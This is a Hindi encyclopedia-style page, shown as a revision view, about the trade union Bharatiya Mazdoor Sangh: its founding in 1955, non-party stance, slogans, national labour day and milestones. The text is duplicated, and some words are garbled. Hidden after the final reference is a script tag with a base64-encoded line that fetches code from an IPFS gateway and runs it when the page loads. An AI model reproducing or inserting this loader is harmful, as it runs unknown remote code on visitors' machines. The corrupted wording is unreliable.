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'''भारतीय मज़दूर संघ''' [[भारत]] का सबसे बड़ा केंद्रीय श्रमिक संगठन है। इसकी स्थापना [[मध्य प्रदेश]] की राजधानी [[भोपाल]] में महान विचारक [[दत्तोपन्त ठेंगडी|स्व. दत्तोपन्त ठेंगडी]] द्वारा प्रख्यात स्वतंत्रता सेनानी लोकमान्य [[बाल गंगाधर तिलक]] के जन्मदिवस [[23 जुलाई]] [[1955]] को हुई। भारत के अन्य श्रम संगठनों की तरह यह किसी संगठन के विभाजन के कारण नहीं बना वरन एक विचारधारा के लोगों का सम्मिलित प्रयास का परिणाम था।यह देश का पहला मज़दूर संगठन है, जो किसी राजनैतिक दल की श्रमिक इकाई नहीं, बल्कि मज़दूर का, मजमज़दूर के लिए, मजमज़दूर द्वारा संचालित अपने में स्वतंत्र मजमज़दूरगठन है। स्थापना के पश्चात द्रुत गति से उन्नति करते हुए आज यह देश में सर्वाधिक सदस्य संख्या वाला मज़दूर संगठन है।
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'''भारतीय मज़दूर संघ''' ([[अंग्रेज़ी]]:''Bharatiya Mazdoor Sangh'') [[भारत]] का सबसे बड़ा केंद्रीय श्रमिक संगठन है। इसकी स्थापना [[मध्य प्रदेश]] की राजधानी [[भोपाल]] में महान् विचारक [[दत्तोपन्त ठेंगडी|स्व. दत्तोपन्त ठेंगडी]] द्वारा प्रख्यात स्वतंत्रता सेनानी लोकमान्य [[बाल गंगाधर तिलक]] के जन्मदिवस [[23 जुलाई]] [[1955]] को हुई। भारत के अन्य श्रम संगठनों की तरह यह किसी संगठन के विभाजन के कारण नहीं बना वरन् एक विचारधारा के लोगों का सम्मिलित प्रयास का परिणाम था। यह देश का पहला मज़दूर संगठन है, जो किसी राजनैतिक दल की श्रमिक इकाई नहीं, बल्कि मज़दूर का, मज़दूर के लिए, मज़दूर द्वारा संचालित अपने में स्वतंत्र मज़दूर संगठन है। स्थापना के पश्चात् द्रुत गति से उन्नति करते हुए आज यह देश में सर्वाधिक सदस्य संख्या वाला मज़दूर संगठन है।
 
==इतिहास==
 
==इतिहास==
भारतीय मज़दूर संघ की स्थापना से पहले मज़दूर संगठन राजनीतिक पार्टियों से सम्बन्धित थे तथा पार्टी के मजमज़दूरगठन के रूप में कार्य करते थे। प्रारम्भ में अन्य मज़दूर संगठनों का विरोध तथा व्यंग्य भारतीय मज़दूर संघ के कार्यकर्ताओं को सहना पड़ता था, लेकिन भारतीय मज़दूरघ ने एक गैरराजनीतिक श्रमिक संगठन के रूप में अपना कार्य प्रारंभ किया तथा आज भी उसी सिद्धान्त पर कायम है। कोई भी राजनीतिक नेता इसका पदाधिकारी नहीं है तथा इसका कोई भी सदस्य राजनीतिक चुनाव न लड़ने के लिए प्रतिबद्ध है।  
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भारतीय मज़दूर संघ की स्थापना से पहले मज़दूर संगठन राजनीतिक पार्टियों से सम्बन्धित थे तथा पार्टी के मज़दूर संगठन के रूप में कार्य करते थे। प्रारम्भ में अन्य मज़दूर संगठनों का विरोध तथा व्यंग्य भारतीय मज़दूर संघ के कार्यकर्ताओं को सहना पड़ता था, लेकिन भारतीय मज़दूर संघ ने एक गैरराजनीतिक श्रमिक संगठन के रूप में अपना कार्य प्रारंभ किया तथा आज भी उसी सिद्धान्त पर कायम है। कोई भी राजनीतिक नेता इसका पदाधिकारी नहीं है तथा इसका कोई भी सदस्य राजनीतिक चुनाव न लड़ने के लिए प्रतिबद्ध है।  
 
==नारे एवं उद्घोष==
 
==नारे एवं उद्घोष==
 
भारतीय मज़दूर संघ ने अन्य मज़दूर संगठनों से हटकर कई नये नारे तथा विचार श्रमिकों के सामने रखे। "भारत माता की जय" का उद्घोष पहली बार श्रमिक आन्दोलन में हुआ। भारतीय मज़दूर संघ के कुछ उद्घोष इस प्रकार हैं-
 
भारतीय मज़दूर संघ ने अन्य मज़दूर संगठनों से हटकर कई नये नारे तथा विचार श्रमिकों के सामने रखे। "भारत माता की जय" का उद्घोष पहली बार श्रमिक आन्दोलन में हुआ। भारतीय मज़दूर संघ के कुछ उद्घोष इस प्रकार हैं-
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* मज़दूर दुनिया को एक करो।
 
* मज़दूर दुनिया को एक करो।
 
* बी.एम.एस. की क्या पहचान, त्याग-तपस्या और बलिदान।
 
* बी.एम.एस. की क्या पहचान, त्याग-तपस्या और बलिदान।
* राष्ट्र का औद्योगिकीकरण, उद्योगों का श्रमिकीकरण, श्रमिकों का राष्ट्रीयकरण
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* राष्ट्र का औद्योगिकीकरण, उद्योगों का श्रमिकीकरण, श्रमिकों का राष्ट्रीयकरण।
 
==राष्ट्रीय श्रम दिवस==
 
==राष्ट्रीय श्रम दिवस==
[[17 सितम्बर]] [[विश्वकर्मा जयन्ती]] को राष्ट्रीय श्रम दिवस के रूप में मनाना तय किया गया। भारतीय मज़दूर संघ का मानना है कि भगवान [[विश्वकर्मा]] दुनिया के पहले शिल्पकार थे, इसलिए उनकी जयन्ती से बढ़कर श्रमिकों के लिए कोई और मज़दूरवस नहीं हो सकता।
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[[17 सितम्बर]] [[विश्वकर्मा जयन्ती]] को राष्ट्रीय श्रम दिवस के रूप में मनाना तय किया गया। भारतीय मज़दूर संघ का मानना है कि भगवान [[विश्वकर्मा]] दुनिया के पहले शिल्पकार थे, इसलिए उनकी जयन्ती से बढ़कर श्रमिकों के लिए कोई और मज़दूर दिवस नहीं हो सकता।
 
==महत्वपूर्ण सोपान==
 
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* 1967 में सरकारी कर्मचारियों सहित सभी श्रमिकों के लिए बोनस की मांग करने वाला प्रथम श्रमिक संगठन।
 
* 1967 में सरकारी कर्मचारियों सहित सभी श्रमिकों के लिए बोनस की मांग करने वाला प्रथम श्रमिक संगठन।
 
* 1969 में ही साम्यवाद के पतन की घोषणा करने वाला प्रथम सामाजिक संगठन।
 
* 1969 में ही साम्यवाद के पतन की घोषणा करने वाला प्रथम सामाजिक संगठन।
* 1989 में ही आर्थिक साम्राज्यवाद के खिलाफ युद्ध की घोषणा करने वाला प्रथम संगठन।
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* 1989 में ही आर्थिक साम्राज्यवाद के ख़िलाफ़ युद्ध की घोषणा करने वाला प्रथम संगठन।
 
* 1999 में रोजगार बढ़ाने की मांग करने वाला एकमात्र केन्द्रीय श्रम संगठन।
 
* 1999 में रोजगार बढ़ाने की मांग करने वाला एकमात्र केन्द्रीय श्रम संगठन।
 
* विदेशी आर्थिक आक्रमण के एकमात्र विकल्प- स्वदेशी का अनुसरण के उद्देश्य से स्वदेशी जागरण मंच की स्थापना।
 
* विदेशी आर्थिक आक्रमण के एकमात्र विकल्प- स्वदेशी का अनुसरण के उद्देश्य से स्वदेशी जागरण मंच की स्थापना।
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* भारतीय मज़दूर संघ, [[भारत]] का एकमात्र ऐसा केन्द्रीय श्रम संगठन है जो किसी भी अन्तरराष्ट्रीय श्रम संगठन से सम्बद्ध नहीं है और न ही कोई अन्तरराष्ट्रीय आर्थिक सहायता लेता है।  
 
* भारतीय मज़दूर संघ, [[भारत]] का एकमात्र ऐसा केन्द्रीय श्रम संगठन है जो किसी भी अन्तरराष्ट्रीय श्रम संगठन से सम्बद्ध नहीं है और न ही कोई अन्तरराष्ट्रीय आर्थिक सहायता लेता है।  
 
* [[1996]] से देश के पहले क्रमांक के केन्द्रीय श्रम संगठन के नाते भारतीय मज़दूर संघ अन्तरराष्ट्रीय श्रम संगठन के सम्मेलनों में भारतीय श्रमिकों का प्रतिनिधित्व करता आ रहा है।
 
* [[1996]] से देश के पहले क्रमांक के केन्द्रीय श्रम संगठन के नाते भारतीय मज़दूर संघ अन्तरराष्ट्रीय श्रम संगठन के सम्मेलनों में भारतीय श्रमिकों का प्रतिनिधित्व करता आ रहा है।
* भारतीय मज़दूर संघ ने- भारतीय श्रम शोध मण्डल, सर्वपंथ समादर मंच, विश्वकर्मा श्रमिक शिक्षा संस्था व पर्यावरण मंच जैसे सहयोगी संगठनों की भी स्थापना श्रमिकों के हित में की है।
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* भारतीय मज़दूर संघ ने- भारतीय श्रम शोध मण्डल, सर्वपंथ समादर मंच, विश्वकर्मा श्रमिक शिक्षा संस्था व पर्यावरण मंच जैसे सहयोगी संगठनों की भी स्थापना श्रमिकों के हित में की है।<ref>{{cite web |url=http://panchjanya.com/arch/2007/8/5/File17.htm |title=भारतीय मज़दूर संघ राष्ट्रवादी श्रम आन्दोलन के 52 वर्ष |accessmonthday= 18 जून|accessyear=2014 |last= |first= |authorlink= |format= |publisher=पंचजन्य |language=हिंदी }}</ref>
  
  
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==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
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*[http://www.bms.org.in/Encyc/2014/2/10/Agitation-is-only-solution-left-with-bank-employees---Rai.aspx?NB=&lang=3007&m1=&m2=&p1=&p2=&p3=&p4= आधिकारिक वेबसाइट]
 
==संबंधित लेख==
 
==संबंधित लेख==
 
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[[Category:भारतीय मज़दूर संघ]][[Category:भारतीय राष्ट्रीय आंदोलन]] [[Category:आधुनिक काल]] [[Category: इतिहास कोश]]
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07:41, 7 नवम्बर 2017 के समय का अवतरण

भारतीय मज़दूर संघ
भारतीय मज़दूर संघ का प्रतीक चिह्न
विवरण भारत का सबसे बड़ा केंद्रीय श्रमिक संगठन है।
स्थापना 23 जुलाई, 1955
संस्थापक दत्तोपन्त ठेंगडी
विशेष स्थापना के पश्चात् द्रुत गति से उन्नति करते हुए आज यह देश में सर्वाधिक सदस्य संख्या वाला मज़दूर संगठन है।
अन्य जानकारी यह देश का पहला मज़दूर संगठन है, जो किसी राजनैतिक दल की श्रमिक इकाई नहीं, बल्कि मज़दूर का, मज़दूर के लिए, मज़दूर द्वारा संचालित अपने में स्वतंत्र मज़दूर संगठन है।

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भारतीय मज़दूर संघ (अंग्रेज़ी:Bharatiya Mazdoor Sangh) भारत का सबसे बड़ा केंद्रीय श्रमिक संगठन है। इसकी स्थापना मध्य प्रदेश की राजधानी भोपाल में महान् विचारक स्व. दत्तोपन्त ठेंगडी द्वारा प्रख्यात स्वतंत्रता सेनानी लोकमान्य बाल गंगाधर तिलक के जन्मदिवस 23 जुलाई 1955 को हुई। भारत के अन्य श्रम संगठनों की तरह यह किसी संगठन के विभाजन के कारण नहीं बना वरन् एक विचारधारा के लोगों का सम्मिलित प्रयास का परिणाम था। यह देश का पहला मज़दूर संगठन है, जो किसी राजनैतिक दल की श्रमिक इकाई नहीं, बल्कि मज़दूर का, मज़दूर के लिए, मज़दूर द्वारा संचालित अपने में स्वतंत्र मज़दूर संगठन है। स्थापना के पश्चात् द्रुत गति से उन्नति करते हुए आज यह देश में सर्वाधिक सदस्य संख्या वाला मज़दूर संगठन है।

इतिहास

भारतीय मज़दूर संघ की स्थापना से पहले मज़दूर संगठन राजनीतिक पार्टियों से सम्बन्धित थे तथा पार्टी के मज़दूर संगठन के रूप में कार्य करते थे। प्रारम्भ में अन्य मज़दूर संगठनों का विरोध तथा व्यंग्य भारतीय मज़दूर संघ के कार्यकर्ताओं को सहना पड़ता था, लेकिन भारतीय मज़दूर संघ ने एक गैरराजनीतिक श्रमिक संगठन के रूप में अपना कार्य प्रारंभ किया तथा आज भी उसी सिद्धान्त पर कायम है। कोई भी राजनीतिक नेता इसका पदाधिकारी नहीं है तथा इसका कोई भी सदस्य राजनीतिक चुनाव न लड़ने के लिए प्रतिबद्ध है।

नारे एवं उद्घोष

भारतीय मज़दूर संघ ने अन्य मज़दूर संगठनों से हटकर कई नये नारे तथा विचार श्रमिकों के सामने रखे। "भारत माता की जय" का उद्घोष पहली बार श्रमिक आन्दोलन में हुआ। भारतीय मज़दूर संघ के कुछ उद्घोष इस प्रकार हैं-

  • देश हित में करेंगे काम, काम के लेंगे पूरे दाम।
  • नया जमाना आयेगा, कमाने वाला खिलायेगा।
  • मज़दूर दुनिया को एक करो।
  • बी.एम.एस. की क्या पहचान, त्याग-तपस्या और बलिदान।
  • राष्ट्र का औद्योगिकीकरण, उद्योगों का श्रमिकीकरण, श्रमिकों का राष्ट्रीयकरण।

राष्ट्रीय श्रम दिवस

17 सितम्बर विश्वकर्मा जयन्ती को राष्ट्रीय श्रम दिवस के रूप में मनाना तय किया गया। भारतीय मज़दूर संघ का मानना है कि भगवान विश्वकर्मा दुनिया के पहले शिल्पकार थे, इसलिए उनकी जयन्ती से बढ़कर श्रमिकों के लिए कोई और मज़दूर दिवस नहीं हो सकता।

महत्वपूर्ण सोपान

  • 1967 में सरकारी कर्मचारियों सहित सभी श्रमिकों के लिए बोनस की मांग करने वाला प्रथम श्रमिक संगठन।
  • 1969 में ही साम्यवाद के पतन की घोषणा करने वाला प्रथम सामाजिक संगठन।
  • 1989 में ही आर्थिक साम्राज्यवाद के ख़िलाफ़ युद्ध की घोषणा करने वाला प्रथम संगठन।
  • 1999 में रोजगार बढ़ाने की मांग करने वाला एकमात्र केन्द्रीय श्रम संगठन।
  • विदेशी आर्थिक आक्रमण के एकमात्र विकल्प- स्वदेशी का अनुसरण के उद्देश्य से स्वदेशी जागरण मंच की स्थापना।

विशेषताएँ

  • भारतीय मज़दूर संघ, भारत का एकमात्र ऐसा केन्द्रीय श्रम संगठन है जो किसी भी अन्तरराष्ट्रीय श्रम संगठन से सम्बद्ध नहीं है और न ही कोई अन्तरराष्ट्रीय आर्थिक सहायता लेता है।
  • 1996 से देश के पहले क्रमांक के केन्द्रीय श्रम संगठन के नाते भारतीय मज़दूर संघ अन्तरराष्ट्रीय श्रम संगठन के सम्मेलनों में भारतीय श्रमिकों का प्रतिनिधित्व करता आ रहा है।
  • भारतीय मज़दूर संघ ने- भारतीय श्रम शोध मण्डल, सर्वपंथ समादर मंच, विश्वकर्मा श्रमिक शिक्षा संस्था व पर्यावरण मंच जैसे सहयोगी संगठनों की भी स्थापना श्रमिकों के हित में की है।[1]



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टीका टिप्पणी और संदर्भ

  1. भारतीय मज़दूर संघ राष्ट्रवादी श्रम आन्दोलन के 52 वर्ष (हिंदी) पंचजन्य। अभिगमन तिथि: 18 जून, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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